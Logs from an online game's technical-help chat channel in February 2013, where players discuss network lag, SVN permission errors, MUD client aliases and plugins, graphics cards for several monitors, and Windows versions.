T3/r7/2013-02-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's almost always problem with routing or misconfigured torrent client on your home network combined with a cheap and shitty router
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Trachx Tech: could be also wireless problem (if your ISP uses somewhere wireless links), assymetric route or just full NAT (torrent or other P2P)
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Vakieh Tech: Lol - Over $1000 of correctly configured networking equipment here :-) The issue might well be with the ISP, but based on observations connecting to other web apps inc. other muds the issue isn't on my end
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: tried traceroute?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Trachx Tech: if you have several routers in network they could cause problems in case of try to be helpful
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Trachx Tech: I mean, some switches don't remember long enough MAC on their port, so it happens that instead of using direct link between 2 ports of switch, switch starts to broadcast packets to all interfaces
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Scars Tech: Vakieh: Do you have this problem with anything other than the MUD?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Vakieh Tech: What I was going to say was: Intermittent - the tracert goes through without a hitch, and I haven't been able to time it right as the lagspike hits as yet
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Scars Tech: broadcast storms shouldn't be causing this unless you're using very dated equipment
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Vakieh Tech: Then a lag spike hit and I timed it right :-P Turns out there are issues between my ISP and the international backbone out of Au
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Scars Tech: how often does it happen? do you have any network monitoring tools?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Trachx Tech: use wireshark to diagnose whether there are no duplicates for aard connection
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Scars Tech: ah, that sucks
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Scars Tech: so you'd have trouble connecting to anything offshore, right?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: AU? should have said that right away :P
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Vakieh Tech: 1am here, so assuming maintenance
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Trachx Tech: you could use mtr to continuously do traceroute
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Scars Tech: sounds like a good time to go to bed
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Remarto Tech: how do i get an alias to recognise what the wildcard is when ive got it set to "send to script"
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Jaenelle Tech: So, any ideas why I am the only one at my office having problems doing a svn checkout to my program files folder, using windows 7. (yes, I know, shouldn't play around there, but it seems that I kinda need to with this program)
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Sit like a Trurien Tech: What problems?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Xantcha Tech: what kind of errors are you getting? I would usually attribute that to a permissions issue
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Golurz Tech: It seems like the first time i log on I will see the chat messages in the newbie and gossip channels and a list of tells ect that i have missed since i was on, but it won't accept any of my input, when i log off and back on again it functions normally, anyone know whats up with this?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Jaenelle Tech: WEll, if I try to do svn checkout there, it says 'access denied' but I can copy and paste the whole thing (with the .svn folder) there after checking it out somewhere else. But then I get sql errors for read only on update. :P
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Xantcha Tech: Are you checking out directly to the root of Program Files, or a subfolder?  You might try editing permissions on a subfolder to allow Full permissions to an Everyone user and that will allow it to read/write to that folder
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Jaenelle Tech: it is in a subfolder, and it seems I can't edit permissions myself. Bleh.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Xantcha Tech: yeah, if you're getting readonly errors it's likely a strict permissions issue
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Aweyn Tech: Ive had permission problem in prog. files with Morrowond. 
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Jaenelle Tech: Maybe I"ll just turn off entirely the UAC. :P
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Eutychus Tech: Good idea.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no, it's a stupid idea
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: keep the stuff that needs writing in your user folder
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Permissions being set that way is actually a good thing...
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Would you remove your front door because you lost the key?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Jaenelle Tech: Well, have you a better idea to make it work properly? Apparently I'm the only one at the office with problems. And since the program itself wants information in its application folder within the program files, I do actually need to work there in this case.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Scars Tech: no IT department?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Sit like a Trurien Tech: A folder within the program files, right, not the actual program files folder?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Sit like a Trurien Tech: But I guess that means svn needs to be able to write to Program Files.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Could you not check with the rest why theirs is working?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Jaenelle Tech: 'it just works' ;)
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Hmm...
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Jaenelle Tech: Scars, our IT deparatment is the problem, not the solution. ;) They are part time IT, full-time graphics artists. :P
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Urp.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh god
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Scars Tech: that sounds awful jaenelle
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Jaenelle Tech: I sent in an IT request anyways, so we'll see what happens. :)
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Mushambo Tech: Can anyone recommend a good/reasonably-priced managed hosting service? As much as I generally dislike GoDaddy, it seems to be better than 1and1, Hostgator, and BlueHost...used to use MediaTemple but its more than I need right now
T3/r7/2013-02-21.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: hey is it legal to make a trigger for terminate to activate when a mob hp reach 15% 
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Westclox Tech: no
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Remarto Tech: no
T3/r7/2013-02-21.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: how is that considered botting in any way???
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Popa Tech: Because Lasher said so.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tech: actually that should be fine
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tech: Remarto rapidly nods twice at Popa, in complete agreement.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tech: although it wouldn't work if you stack any other attacks
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Remarto Tech: its kind of like the auto quaffer example in help botting
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tech: yes, autoquaffing is fine...being afk in an aggro room while autoquaffing isn't
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Remarto Tech: so kinda like that i think... may
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Remarto Tech: maby
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tech: same thing, your current fight will end with success or failure and no new fights will start as a result of the term trig
T3/r7/2013-02-21.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: it was my under standing that a trigger would over ride your command
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tech: your understanding is incorrect
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tech: the MUD doesn't know whether something was a trigger or a typed command, and the MUD had already received the typed command
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Immerez Tech: does the mushclient have an alias window?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Ophelion Tech: ctrl+shift+9 to bring up the alias window
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Ophelion Tech: i prefer to right click the main output window>world config to get to the alias window.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Eutychus Tech: Need some help with Redhat if anyone is proficient with it, pm me.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Ontuct Tech: the linux distribution? or the older women with purple clothes?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Eutychus Tech: Red hat linux, yes
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tepeyollotl Tech: I am trying to figure out why my planesmob plugin by bast isn't working. Is the aardb.lua file supposed to be in the lua directory and is it the only one associated with the plugin i need to worry about?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Turie Tech: type plookup mob
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tepeyollotl Tech: it doesn't work, just always comes back as none.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Turie Tech: Type plookup aa. You should have 4 names pop up.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tepeyollotl Tech: nope, says none
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tech: you shouldn't have moved any files from where they are in the bast folder hierarchy
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tepeyollotl Tech: i didn't
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Elchanan Tech: can variables be incorporated into alias on zmud
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: sure
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: have you tried using @varname?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Elchanan Tech: nope
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Remarto Tech: is zmud like mush in the way it uses aliases?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: but really, unless you've been using zmud for 5+ years and know its inner workings, nobody should be using zmud today
T3/r7/2013-02-22.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and even then...
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jaenelle Tech: ANyone besides me have some random program that they have to use for work that they just /hate/ working with? :P The one that always seems to cause problems? (besides Windows itself) ;)
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Redryn Tech: do services count?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jaenelle Tech: sure. :P
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: Jaenelle is irritated at Arbortext again atm. :P
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Aweyn Tech: Is anyone else as interested in Ubuntu mobile as I am?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Vakieh Tech: It will not be able to compete with Android - thankfully, as a non-profit, it doesn't have to.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Aweyn Tech: I have a dream of consolidated tech into one gadget. If it takes hold it'd be a dream come true :3
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Aweyn Tech: And isn't it made to run alongside android, and share drivers and such?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: anyone uses bast's respell plugin and can offer some help?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Mottle Tech: can you change exits to show they are locked in the aardmush mapper?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Nuanse Tech: not without automatic cexits
T3/r7/2013-02-22.txt.gz:{chan ch=tech}RedRain Tech: you can level lock an exit at 300 which will never mean you try and o that way
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Nuanse Tech: but that is not locked
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Mottle Tech: ahhhh...good plan and thanks both
T3/r7/2013-02-22.txt.gz:{chan ch=tech}RedRain Tech: true not locked, but does depend what he is trying to do
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Mottle Tech: if I delete room and redo, will it set exit to locked?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jaenelle Tech: that high level lock is useful for doors that you should just walk around. :P Like in zyian.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: RedRain rapidly nods twice at Jaenelle, in complete agreement.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Nuanse Tech: it will set exit. nothing more
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Mottle Tech: and zangar
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jaenelle Tech: Just right click the room in the mapper, then you can change exit lock if you want
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Nuanse Tech: and xyl
T3/r7/2013-02-22.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: and masquerade
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Mottle Tech: very helpful and thanks all
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Sianzie Tech: Im stuck with half screen empty, is there any command to make my screen with whole line instead breaking down in 2 lines?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jaenelle Tech: Friday commit messages.... :P 'new and improved, fancy dancy, red reload button!' :P
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Swalec Tech: monday commit messages -- backed out red button due to errors
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jaenelle Tech: no, that was the previous red button that was actually black :P
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Aweyn Tech: Anyone else running an android. Finally got quadrant on my Desire z and found it's on par with a Galaxy Nexus when overclocked :3
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Aweyn Tech: sort of..
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tepeyollotl Tech: turned on debug for planesmob finder by bast and everytime i do a plookup <mob> it shows open-conns: 0->1 then close-conns: 1->0 and results are None all the time. anyone have any ideas?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you could learn the planest
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: the aard flash client keeps crashing on me
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: works for awhile and then plugin freezes entire browser
T3/r7/2013-02-22.txt.gz:{chan ch=tech}McLowery Tech: Why are you using the flash client?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: cause my main character's autospawned on aard mush and i never bothered creating others
T3/r7/2013-02-22.txt.gz:{chan ch=tech}McLowery Tech: You should be able to use any client no matter where you started.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}McLowery Tech: What operating system do you have?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Gnarcyon Tech: your character isn't tied to a client...
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: vista, i'm on http://aardmud.org:443/FMud/Aardwolf-Fmud2.html
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: i just created this character to discuss, mushclient autologs to my other character which is currently decommissioned
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: so, a error in the flash implementation i guess may be causing it
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Aweyn Tech: Perhaps you could try java or something. I generally don't have much stock in flash.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: rabshakeh not that hard to change login info on aardmush
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: i'm not too interested in building myself a supernewbie though :p, this is just a temporary hobby
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Aweyn Tech: And that. If you're not using it there shouldn't be much problem in reconfiguring. And you can still login with this char, regardless of client.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: i just thought i'd point out that some bugs do exist in the flash client
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Bast Tech: it isn't a bug in the client, it is that flash generally sucks for long running processes
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: Aweyn nod
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: Aweyn nods.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tepeyollotl Tech: Anyone can tell me what debug open - conns: 0 -> 1 and close - conns: 1 -> 0 mean for planesmob plugin? Always returns a none for plookup.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Bast Tech: yes, something is wrong with that plugin, I haven't had a chance to look at it though
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tepeyollotl Tech: It is working for some players though?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Bast Tech: yes, and I don't know why, it works for me fine, but it doesn't work for some people even though the database has the info in it
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tepeyollotl Tech: Good to know anyway. It has been driving me crazy. lol.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: hey techs -- I'm looking to buy a new PC.  Want to run 3 - 4 monitors.  What's the best way to do that?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: you need a good video card for 3+ monitors
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: my Asus LCDs are starting to smell like burnt plastic, which has me worried about health risk and their remaining life....
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: define "Good" video card?  I need one with 3 outlets on it, right?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: is it better to get 1 card or multiple?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: depends, will you need the pc for gaming?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: not mud, like gfx intense stuff
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: mostly office desktop apps, but would like it to handle games
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: and what sort of budget are we talking about here?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: also want it QUIET... though
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: no budget
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: reasonable
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Dfury Tech: twin cards, dual ports - 4 monitors
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: dfury how does that compare to 1 card 4 ports 4 monitors?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: prolly better if you get either ati with crossfire or gforce that also has options to combine two
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Dfury Tech: depends on the software that uses it
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Trachx Tech: twin is more resilient
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: but two powerhorses like that wont be quiet
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Doc Holliday Tech: there is an ATI card that has like 5-6 outputs but i cant remember what it is called
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Trachx Tech: when one fail the second still works
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Dfury Tech: if we are talking no budget, i'd put it in a refrigerated closet
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: unfrotuantely space constrained or I would lock the PC case away
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: if I want quiet for desktop apps on 4 screens, and OK with noise for gaming, can I just run 2 cards, but only connect to 1 for office and the other gaming-heavy for games?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: i.s. switch the cables
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: dont think you'll find lots and lots of games to work on 4 monitors
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: i guess that's a good point.  I just need the extra monitors for office stuff
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: in fact I can't even think of any game I would want to play that takes up more than 1
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: just take a look at some pc shops for the higher end nvidia/ati stuff
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Trachx Tech: flight simulators
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: all the specs are usually there
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: does anyone have experience with a good, modern GPU which doesn't emits tons of noise under load?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Juictice Tech: I really hate thearing these things spin up if I play a game
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Trachx Tech: you need water cooling then
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: maybe non-conductive oil cooling, in case of a leak
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: or go passive
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: Is there a way to C&P mapper cexits from the "mapper cexits here" command?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Mendaloth Tech: What are you trying to do Ron?  You can copy them easy enough, but not back into mapper...
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: im trying to share it with a friend. its a long, compound cexit.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Mendaloth Tech: Then just select it and copy it, send it in a note or something....
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Mendaloth Tech: or use mapper where to get the path with the cexit in it...
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: anyone experienced with squid? trying to set up a transparent proxy on my home server, but i'm getting TCP_DENIED/403 on all connections. squid.conf - http://pastebin.com/zGkaymJ8
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, damn, i see it now. must have been blind
T3/r7/2013-02-22.txt.gz:{chan ch=tech}V4 or Bust Xyzzy Tech: you once were blind, but now can see?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}V4 or Bust Xyzzy Tech: there's a song there, somewhere.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Kelvar Tech: dagnir maybe the rain is gone?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Immerez Tech: is there are good level gain/report scripts out there for the aardwolf mushclient?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: sharptracker
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Immerez Tech: wow terrible grammar on my part lol
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: how do you use mush mapper?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: on other client i type mapper help and things and this one doesn't
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: n/m i see it
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: anyone have trouble with amusement park mobs when using xrt?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: how do you sel the amount of lines on screen
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: i'm at about a quarter screen before pressing enter
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you mean paging?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: yeah
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: help paging then
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: doesn't look like i'll be buying Bioshock Infinite
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: they only released it for crap OS's
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: what's the sudden obsession with vista/7 only games?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: there are likely a lot more Vista/Win7 customers than Win8 customers 
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: i don't have win8
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: so i guess they either bring out a linux port, or they can go fly a kite
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: when Win7 folk upgrade to Win9, they are gambling that they are not going to get screwed into being forced to upgrade their hardware -- (and "Casinos are going bust", so gambling is not so much fun anymore)
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: free market in action, $60 they won't be seeing from me :-)
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's because of directx, nuts
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: directx is supposed to have been the antidote to that, dagnir
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: well, xp doesn't support dx10/11
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: shouldn't need to
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yet you're still whining that you can't play a game on an ancient os
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: ain't ancient
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, only 12 or 13 years?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: simple solution, release dx10 for xp
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Vonliege Tech: can someone please tell me the color code used for the AFK flag?  i dont have an xterm 256 capable client, and the [AFK] flag is the the only thing in the whole game that shows up as true white
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Vonliege Tech: %%W shows grey to me
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: bprompt Hp:%p Mn:%P Mv:%N TNL:%X Align:%a Qt:%q Enemy: x%
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: it doesn't show percentages 
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: seems free-money to waste on vices and games is in short supply these days -- people can't gamble, and are wary of supporting software crooks that screw them in an endless recycle of upgrades
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i still don't understand why some people insist on running xp
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: because we don't want to have to pay money for an os that is worse that we neither wanted or needed
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: when i finally am forced to upgrade by breakage, i'll be going to *nix
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: heh. you used to hate *nix
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: besides, w7 is awesome
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: i still do
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Ylar Tech: qr
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i still have to support xp machines. annoying
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: Smart move! Ylar tries to start some discussion about the weather, hoping no one noticed his last mischan.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: it's easy
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not compared to 7
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i mean, it's not hard
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: i'm forced to use 7 at work. hate it
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Mendaloth Tech: I prefer 3.11 for workgroups myself!! Has minecraft by default.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but really damn annoying once you get used to all the nifty things 7 offers
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: crappy dell machine doesn't help
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: i don't want nifty things
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: i want bombproof things that do what i want
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i run debian stable on servers for that
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: this is why i still use zmud, it's like a tatty old comfortable pair of slippers
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: love zmud
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, with empty used syringes in them
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: damned trendy :-'.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'm also still on zmud, but not because i like it. i'm just too lazy to port all my sripts
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: get the 5.22 version of zmud
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: www.jarda128.net
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: i'd be mudding on my c64 if i thought i could get away with it
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: actually, perhaps not, the keyboard was awful
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: there may've been several technical reasons that Bioshock did not support Win8 - lack of sufficient inexpensive information on how to interface with Win8
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: i'll wait for the nix version
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: also, the number of Win8 customers may not be economic compared to the numbers of Vista/Win7 customers
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Turie Tech: Ubuntu for Nexus 7 tablet......
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: and what if the Bioshock game does not run okay on ipads or compares poorly to superior games that run on ipads -- so they cater to customers that are Vista/Win7 locked
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tigernuts Tech: it won't work on ipads and never will, it's a games rig game
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: what wont work on ipads?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: interfacing to an ipad is likely different to interfacing to a keyboard mouse and or gamecontroller
